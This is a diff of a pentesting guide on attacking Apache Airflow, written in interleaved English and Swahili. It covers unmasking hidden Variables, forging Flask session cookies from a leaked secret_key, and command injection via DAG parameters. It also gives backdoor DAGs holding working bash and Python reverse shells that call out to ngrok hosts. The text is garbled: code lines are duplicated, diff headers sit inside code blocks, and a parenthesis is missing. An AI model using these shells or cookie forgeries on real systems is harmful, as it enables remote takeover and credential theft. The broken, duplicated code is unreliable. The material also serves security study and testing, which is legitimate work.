- **Code ya kila DAG** (ambayo inaweza kuwa na taarifa za kuvutia)
#### Retrieve Variables Values
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
Variables zinaweza kuhifadhiwa katika Airflow ili **DAGs** ziweze **kufikia** thamani zao. Ni sawa na siri za majukwaa mengine. Ikiwa una **ruhusa za kutosha** unaweza kuzifikia katika GUI katika `http://<airflow>/variable/list/`.\
Airflow kwa kawaida itaonyesha thamani ya variable katika GUI, hata hivyo, kulingana na [**hii**](https://marclamberti.com/blog/variables-with-apache-airflow/) inawezekana kuweka **orodha ya variables** ambazo **thamani** zitakuwa zinaonekana kama **asterisks** katika **GUI**.
![](<../../images/image (164).png>)
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
Hata hivyo, hizi **thamani** bado zinaweza **kupatikana** kupitia **CLI** (unahitaji kuwa na ufikiaji wa DB), **kutekeleza DAG** isiyo na mipaka, **API** inayofikia mwisho wa variables (API inahitaji kuwezeshwa), na **hata GUI yenyewe!**\
Ili kufikia hizo thamani kutoka kwa GUI chagua tu **variables** unazotaka kufikia na **bonyeza kwenye Actions -> Export**.\
Njia nyingine ni kufanya **bruteforce** kwa **thamani iliyofichwa** kwa kutumia **uchujaji wa utafutaji** hadi upate:
![](<../../images/image (152).png>)
#### Privilege Escalation
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
Ikiwa usanidi wa **`expose_config`** umewekwa kuwa **True**, kutoka kwa **role User** na **juu** wanaweza **kusoma** **config katika wavuti**. Katika usanidi huu, **`secret_key`** inaonekana, ambayo inamaanisha mtumiaji yeyote mwenye hii halali wanaweza **kuunda cookie yao iliyosainiwa ili kujifanya kama akaunti nyingine yoyote ya mtumiaji**.
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG Backdoor (RCE katika Airflow worker)
#### DAG Backdoor (RCE in Airflow worker)
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
Note that this reverse shell is going to be executed inside an **airflow worker container**:
Ikiwa una **ufikiaji wa kuandika** mahali ambapo **DAGs zimehifadhiwa**, unaweza tu **kuunda moja** ambayo itakutumia **reverse shell.**\
Kumbuka kwamba reverse shell hii itatekelezwa ndani ya **airflow worker container:**
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
```
```python
@@ -105,74 +100,66 @@ from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
#### DAG Backdoor (RCE katika Airflow scheduler)
#### DAG Backdoor (RCE in Airflow scheduler)
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
Ikiwa utaweka kitu kifanyike **katika mzizi wa msimbo**, wakati wa kuandika hii, kitafanywa **na mpangaji** baada ya sekunde chache baada ya kukiweka ndani ya folda ya DAG.
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### Uundaji wa DAG
#### DAG Creation
Ikiwa utafanikiwa **kushambulia mashine ndani ya klasta ya DAG**, unaweza kuunda **scripts za DAG** mpya katika folda ya `dags/` na zitakuwa **zinakopiwa katika mashine zingine** ndani ya klasta ya DAG.
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
#### Uingiliaji wa Msimbo wa DAG
#### DAG Code Injection
Unapotekeleza DAG kutoka kwa GUI unaweza **kupitisha hoja** kwake.\
Hivyo, ikiwa DAG haijakodishwa vizuri inaweza kuwa **na udhaifu wa Uingiliaji wa Amri.**\
Hivyo ndivyo ilivyotokea katika CVE hii: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
When you execute a DAG from the GUI you can **pass arguments** to it.\
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
Kila unachohitaji kujua ili **kuanza kutafuta uingiliaji wa amri katika DAGs** ni kwamba **parameta** zinapatikana kwa msimbo **`dag_run.conf.get("param_name")`**.
Zaidi ya hayo, udhaifu huo unaweza kutokea pia na **mabadiliko** (zingatia kwamba kwa ruhusa ya kutosha unaweza **kudhibiti thamani ya mabadiliko** katika GUI). Mabadiliko yanapatikana kwa:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
If they are used for example inside a a bash command, you could perform a command injection.
Ikiwa zinatumika kwa mfano ndani ya amri ya bash, unaweza kufanya uingizaji wa amri.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,111 +4,102 @@
## Configuration File
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
**Apache Airflow** inazalisha **config file** katika mashine zote za airflow inayoitwa **`airflow.cfg`** katika nyumbani mwa mtumiaji wa airflow. Faili hii ya config ina taarifa za usanidi na **inaweza kuwa na taarifa za kuvutia na nyeti.**
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
**Kuna njia mbili za kufikia faili hii: Kwa kuathiri mashine fulani ya airflow, au kwa kufikia console ya wavuti.**
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
Kumbuka kwamba **thamani ndani ya faili ya config** **zinaweza zisikuwa zile zinazotumika**, kwani unaweza kuzibadilisha kwa kuweka mabadiliko ya mazingira kama `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
If you have **access to some machine inside the airflow env**, check the **environment**.
Ikiwa una ufikiaji wa **faili ya config katika seva ya wavuti**, unaweza kuangalia **usanidi halisi unaoendesha** katika ukurasa huo ambapo config inaonyeshwa.\
Ikiwa una **ufikiaji wa mashine fulani ndani ya mazingira ya airflow**, angalia **mazingira**.
Some interesting values to check when reading the config file:
Baadhi ya thamani za kuvutia za kuangalia unapokuwa unakagua faili ya config:
### \[api]
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
- You can also **create you own authentication** method with python.
- **`google_key_path`:** Path to the **GCP service account key**
- **`access_control_allow_headers`**: Hii inaonyesha **vichwa vilivyokubaliwa** kwa **CORS**
- **`access_control_allow_methods`**: Hii inaonyesha **mbinu zilizokubaliwa** kwa **CORS**
- **`access_control_allow_origins`**: Hii inaonyesha **michango iliyokubaliwa** kwa **CORS**
- **`auth_backend`**: [**Kulingana na docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) chaguzi chache zinaweza kuwekwa ili kuunda nani anaweza kufikia API:
- `airflow.api.auth.backend.deny_all`: **Kwa default hakuna** anayeweza kufikia API
- `airflow.api.auth.backend.default`: **Kila mtu anaweza** kuifikia bila uthibitisho
- `airflow.api.auth.backend.kerberos_auth`: Ili kuunda **uthibitisho wa kerberos**
- `airflow.api.auth.backend.basic_auth`: Kwa **uthibitisho wa msingi**
- `airflow.composer.api.backend.composer_auth`: Inatumia uthibitisho wa waandishi (GCP) (kutoka [**hapa**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role`: Hii inaonyesha **nafasi** ambayo **mtumiaji wa muandishi** atapata ndani ya **airflow** (**Op** kwa default).
- Unaweza pia **kuunda njia yako ya uthibitisho** kwa kutumia python.
- **`google_key_path`:** Njia ya **GCP service account key**
### **\[atlas]**
- **`password`**: Atlas password
- **`username`**: Atlas username
- **`password`**: Nenosiri la Atlas
- **`username`**: Jina la mtumiaji la Atlas
### \[celery]
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
- **`result_backend`**: Postgres url which may contain **credentials**.
- **`ssl_cacert`**: Path to the cacert
- **`ssl_cert`**: Path to the cert
- **`ssl_key`**: Path to the key
- **`flower_basic_auth`** : Akida (_user1:password1,user2:password2_)
- **`result_backend`**: URL ya Postgres ambayo inaweza kuwa na **akida**.
- **`ssl_cacert`**: Njia ya cacert
- **`ssl_cert`**: Njia ya cheti
- **`ssl_key`**: Njia ya ufunguo
### \[core]
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that dont contain the strings `DAG` and `airflow`.
- **`fernet_key`**: Key to store encrypted variables (symmetric)
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
- **`security`**: What security module to use (for example kerberos)
- **`dag_discovery_safe_mode`**: Imewezeshwa kwa default. Wakati wa kugundua DAGs, puuza faili zozote ambazo hazina nyuzi `DAG` na `airflow`.
- **`fernet_key`**: Ufunguzi wa kuhifadhi mabadiliko yaliyosimbwa (symmetric)
- **`hide_sensitive_var_conn_fields`**: Imewezeshwa kwa default, ficha taarifa nyeti za muunganisho.
- **`security`**: Moduli gani ya usalama itumike (kwa mfano kerberos)
### \[dask]
- **`tls_ca`**: Path to ca
- **`tls_cert`**: Part to the cert
- **`tls_key`**: Part to the tls key
- **`tls_ca`**: Njia ya ca
- **`tls_cert`**: Sehemu ya cheti
- **`tls_key`**: Sehemu ya ufunguo wa tls
### \[kerberos]
- **`ccache`**: Path to ccache file
- **`forwardable`**: Enabled by default
- **`ccache`**: Njia ya faili ya ccache
- **`forwardable`**: Imewezeshwa kwa default
### \[logging]
- **`google_key_path`**: Path to GCP JSON creds.
- **`google_key_path`**: Njia ya GCP JSON creds.
### \[secrets]
- **`backend`**: Full class name of secrets backend to enable
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
- **`backend`**: Jina kamili la darasa la nyuma la siri ili kuwezesha
- **`backend_kwargs`**: Param ya backend_kwargs inasomwa katika kamusi na kupitishwa kwa **init** ya darasa la nyuma la siri.
### \[smtp]
- **`smtp_password`**: SMTP password
- **`smtp_user`**: SMTP user
- **`smtp_password`**: Nenosiri la SMTP
- **`smtp_user`**: Mtumiaji wa SMTP
### \[webserver]
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
- **`cookie_secure`**: Set **secure flag** on the the session cookie
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
- **`cookie_samesite`**: Kwa default ni **Lax**, hivyo tayari ni thamani dhaifu zaidi
- **`cookie_secure`**: Weka **bendera salama** kwenye cookie ya kikao
- **`expose_config`**: Kwa default ni False, ikiwa ni kweli, **config** inaweza **kusomwa** kutoka kwa **console** ya wavuti
- **`expose_stacktrace`**: Kwa default ni Kweli, itaonyesha **python tracebacks** (inaweza kuwa na manufaa kwa mshambuliaji)
- **`secret_key`**: Hii ni **ufunguo unaotumiwa na flask kusaini cookies** (ikiwa una hii unaweza **kujifanya kuwa mtumiaji yeyote katika Airflow**)
- **`web_server_ssl_cert`**: **Njia** ya **SSL** **cheti**
- **`web_server_ssl_key`**: **Njia** ya **SSL** **Key**
- **`x_frame_enabled`**: Default ni **True**, hivyo kwa default clickjacking haiwezekani
### Web Authentication
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
Kwa default **uthibitisho wa wavuti** umeainishwa katika faili **`webserver_config.py`** na umewekwa kama
```bash
AUTH_TYPE = AUTH_DB
```
Which means that the **authentication is checked against the database**. However, other configurations are possible like
Ambayo inamaanisha kwamba **uthibitishaji unakaguliwa dhidi ya hifadhidata**. Hata hivyo, usanidi mwingine unaweza kuwa kama
```bash
AUTH_TYPE = AUTH_OAUTH
```
Kuwaacha **uthibitishaji kwa huduma za upande wa tatu**.
To leave the **authentication to third party services**.
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
Hata hivyo, pia kuna chaguo la **kuruhusu watumiaji wasiojulikana kuingia**, kuweka parameter ifuatayo kwa **haki inayotakiwa**:
```bash
AUTH_ROLE_PUBLIC = 'Admin'
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,43 +4,40 @@
## RBAC
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
(Kutoka kwenye nyaraka)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow inakuja na **seti ya majukumu kwa default**: **Admin**, **User**, **Op**, **Viewer**, na **Public**. **Ni `Admin` tu** watumiaji wanaweza **kuunda/kubadilisha ruhusa za majukumu mengine**. Lakini haipendekezwi kwa watumiaji wa `Admin` kubadilisha majukumu haya ya default kwa njia yoyote kwa kuondoa au kuongeza ruhusa kwa majukumu haya.
- **`Admin`** users have all possible permissions.
- **`Public`** users (anonymous) dont have any permissions.
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
- **`Op`** users have `User` permissions plus additional op permissions.
- **`Admin`** watumiaji wana ruhusa zote zinazowezekana.
- **`Public`** watumiaji (wasiojulikana) hawana ruhusa yoyote.
- **`Viewer`** watumiaji wana ruhusa za mtazamaji zilizo na mipaka (kusoma tu). Haiwezi kuona usanidi.
- **`User`** watumiaji wana ruhusa za `Viewer` pamoja na ruhusa za ziada za mtumiaji zinazomruhusu kusimamia DAGs kidogo. Anaweza **kuona faili ya usanidi**
- **`Op`** watumiaji wana ruhusa za `User` pamoja na ruhusa za ziada za op.
Note that **admin** users can **create more roles** with more **granular permissions**.
Kumbuka kwamba **watumiaji wa admin** wanaweza **kuunda majukumu zaidi** yenye **ruhusa za kina**.
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
Pia kumbuka kwamba jukumu pekee la default lenye **ruhusa ya kuorodhesha watumiaji na majukumu ni Admin, hata Op** hataweza kufanya hivyo.
### Default Permissions
### Ruhusa za Default
These are the default permissions per default role:
Hizi ndizo ruhusa za default kwa kila jukumu la default:
- **Admin**
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
\[anaweza kufuta kwenye Connections, anaweza kusoma kwenye Connections, anaweza kuhariri kwenye Connections, anaweza kuunda kwenye Connections, anaweza kusoma kwenye DAGs, anaweza kuhariri kwenye DAGs, anaweza kufuta kwenye DAGs, anaweza kusoma kwenye DAG Runs, anaweza kusoma kwenye Task Instances, anaweza kuhariri kwenye Task Instances, anaweza kufuta kwenye DAG Runs, anaweza kuunda kwenye DAG Runs, anaweza kuhariri kwenye DAG Runs, anaweza kusoma kwenye Audit Logs, anaweza kusoma kwenye ImportError, anaweza kufuta kwenye Pools, anaweza kusoma kwenye Pools, anaweza kuhariri kwenye Pools, anaweza kuunda kwenye Pools, anaweza kusoma kwenye Providers, anaweza kufuta kwenye Variables, anaweza kusoma kwenye Variables, anaweza kuhariri kwenye Variables, anaweza kuunda kwenye Variables, anaweza kusoma kwenye XComs, anaweza kusoma kwenye DAG Code, anaweza kusoma kwenye Configurations, anaweza kusoma kwenye Plugins, anaweza kusoma kwenye Roles, anaweza kusoma kwenye Permissions, anaweza kufuta kwenye Roles, anaweza kuhariri kwenye Roles, anaweza kuunda kwenye Roles, anaweza kusoma kwenye Users, anaweza kuunda kwenye Users, anaweza kuhariri kwenye Users, anaweza kufuta kwenye Users, anaweza kusoma kwenye DAG Dependencies, anaweza kusoma kwenye Jobs, anaweza kusoma kwenye My Password, anaweza kuhariri kwenye My Password, anaweza kusoma kwenye My Profile, anaweza kuhariri kwenye My Profile, anaweza kusoma kwenye SLA Misses, anaweza kusoma kwenye Task Logs, anaweza kusoma kwenye Website, ufikiaji wa menyu kwenye Browse, ufikiaji wa menyu kwenye DAG Dependencies, ufikiaji wa menyu kwenye DAG Runs, ufikiaji wa menyu kwenye Documentation, ufikiaji wa menyu kwenye Docs, ufikiaji wa menyu kwenye Jobs, ufikiaji wa menyu kwenye Audit Logs, ufikiaji wa menyu kwenye Plugins, ufikiaji wa menyu kwenye SLA Misses, ufikiaji wa menyu kwenye Task Instances, anaweza kuunda kwenye Task Instances, anaweza kufuta kwenye Task Instances, ufikiaji wa menyu kwenye Admin, ufikiaji wa menyu kwenye Configurations, ufikiaji wa menyu kwenye Connections, ufikiaji wa menyu kwenye Pools, ufikiaji wa menyu kwenye Variables, ufikiaji wa menyu kwenye XComs, anaweza kufuta kwenye XComs, anaweza kusoma kwenye Task Reschedules, ufikiaji wa menyu kwenye Task Reschedules, anaweza kusoma kwenye Triggers, ufikiaji wa menyu kwenye Triggers, anaweza kusoma kwenye Passwords, anaweza kuhariri kwenye Passwords, ufikiaji wa menyu kwenye List Users, ufikiaji wa menyu kwenye Security, ufikiaji wa menyu kwenye List Roles, anaweza kusoma kwenye User Stats Chart, ufikiaji wa menyu kwenye User's Statistics, ufikiaji wa menyu kwenye Base Permissions, anaweza kusoma kwenye View Menus, ufikiaji wa menyu kwenye Views/Menus, anaweza kusoma kwenye Permission Views, ufikiaji wa menyu kwenye Permission on Views/Menus, anaweza kupata kwenye MenuApi, ufikiaji wa menyu kwenye Providers, anaweza kuunda kwenye XComs]
- **Op**
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
\[anaweza kufuta kwenye Connections, anaweza kusoma kwenye Connections, anaweza kuhariri kwenye Connections, anaweza kuunda kwenye Connections, anaweza kusoma kwenye DAGs, anaweza kuhariri kwenye DAGs, anaweza kufuta kwenye DAGs, anaweza kusoma kwenye DAG Runs, anaweza kusoma kwenye Task Instances, anaweza kuhariri kwenye Task Instances, anaweza kufuta kwenye DAG Runs, anaweza kuunda kwenye DAG Runs, anaweza kuhariri kwenye DAG Runs, anaweza kusoma kwenye Audit Logs, anaweza kusoma kwenye ImportError, anaweza kufuta kwenye Pools, anaweza kusoma kwenye Pools, anaweza kuhariri kwenye Pools, anaweza kuunda kwenye Pools, anaweza kusoma kwenye Providers, anaweza kufuta kwenye Variables, anaweza kusoma kwenye Variables, anaweza kuhariri kwenye Variables, anaweza kuunda kwenye Variables, anaweza kusoma kwenye XComs, anaweza kusoma kwenye DAG Code, anaweza kusoma kwenye Configurations, anaweza kusoma kwenye Plugins, anaweza kusoma kwenye DAG Dependencies, anaweza kusoma kwenye Jobs, anaweza kusoma kwenye My Password, anaweza kuhariri kwenye My Password, anaweza kusoma kwenye My Profile, anaweza kuhariri kwenye My Profile, anaweza kusoma kwenye SLA Misses, anaweza kusoma kwenye Task Logs, anaweza kusoma kwenye Website, ufikiaji wa menyu kwenye Browse, ufikiaji wa menyu kwenye DAG Dependencies, ufikiaji wa menyu kwenye DAG Runs, ufikiaji wa menyu kwenye Documentation, ufikiaji wa menyu kwenye Docs, ufikiaji wa menyu kwenye Jobs, ufikiaji wa menyu kwenye Audit Logs, ufikiaji wa menyu kwenye Plugins, ufikiaji wa menyu kwenye SLA Misses, ufikiaji wa menyu kwenye Task Instances, anaweza kuunda kwenye Task Instances, anaweza kufuta kwenye Task Instances, ufikiaji wa menyu kwenye Admin, ufikiaji wa menyu kwenye Configurations, ufikiaji wa menyu kwenye Connections, ufikiaji wa menyu kwenye Pools, ufikiaji wa menyu kwenye Variables, ufikiaji wa menyu kwenye XComs, anaweza kufuta kwenye XComs]
- **User**
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
\[anaweza kusoma kwenye DAGs, anaweza kuhariri kwenye DAGs, anaweza kufuta kwenye DAGs, anaweza kusoma kwenye DAG Runs, anaweza kusoma kwenye Task Instances, anaweza kuhariri kwenye Task Instances, anaweza kufuta kwenye DAG Runs, anaweza kuunda kwenye DAG Runs, anaweza kuhariri kwenye DAG Runs, anaweza kusoma kwenye Audit Logs, anaweza kusoma kwenye ImportError, anaweza kusoma kwenye XComs, anaweza kusoma kwenye DAG Code, anaweza kusoma kwenye Plugins, anaweza kusoma kwenye DAG Dependencies, anaweza kusoma kwenye Jobs, anaweza kusoma kwenye My Password, anaweza kuhariri kwenye My Password, anaweza kusoma kwenye My Profile, anaweza kuhariri kwenye My Profile, anaweza kusoma kwenye SLA Misses, anaweza kusoma kwenye Task Logs, anaweza kusoma kwenye Website, ufikiaji wa menyu kwenye Browse, ufikiaji wa menyu kwenye DAG Dependencies, ufikiaji wa menyu kwenye DAG Runs, ufikiaji wa menyu kwenye Documentation, ufikiaji wa menyu kwenye Docs, ufikiaji wa menyu kwenye Jobs, ufikiaji wa menyu kwenye Audit Logs, ufikiaji wa menyu kwenye Plugins, ufikiaji wa menyu kwenye SLA Misses, ufikiaji wa menyu kwenye Task Instances, anaweza kuunda kwenye Task Instances, anaweza kufuta kwenye Task Instances]
- **Viewer**
\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
\[anaweza kusoma kwenye DAGs, anaweza kusoma kwenye DAG Runs, anaweza kusoma kwenye Task Instances, anaweza kusoma kwenye Audit Logs, anaweza kusoma kwenye ImportError, anaweza kusoma kwenye XComs, anaweza kusoma kwenye DAG Code, anaweza kusoma kwenye Plugins, anaweza kusoma kwenye DAG Dependencies, anaweza kusoma kwenye Jobs, anaweza kusoma kwenye My Password, anaweza kuhariri kwenye My Password, anaweza kusoma kwenye My Profile, anaweza kuhariri kwenye My Profile, anaweza kusoma kwenye SLA Misses, anaweza kusoma kwenye Task Logs, anaweza kusoma kwenye Website, ufikiaji wa menyu kwenye Browse, ufikiaji wa menyu kwenye DAG Dependencies, ufikiaji wa menyu kwenye DAG Runs, ufikiaji wa menyu kwenye Documentation, ufikiaji wa menyu kwenye Docs, ufikiaji wa menyu kwenye Jobs, ufikiaji wa menyu kwenye Audit Logs, ufikiaji wa menyu kwenye Plugins, ufikiaji wa menyu kwenye SLA Misses, ufikiaji wa menyu kwenye Task Instances]
- **Public**
\[]
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,109 +4,109 @@
### Basic Information
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
Atlantis kimsingi inakusaidia kuendesha terraform kutoka kwa Pull Requests kutoka kwa seva yako ya git.
![](<../images/image (161).png>)
### Local Lab
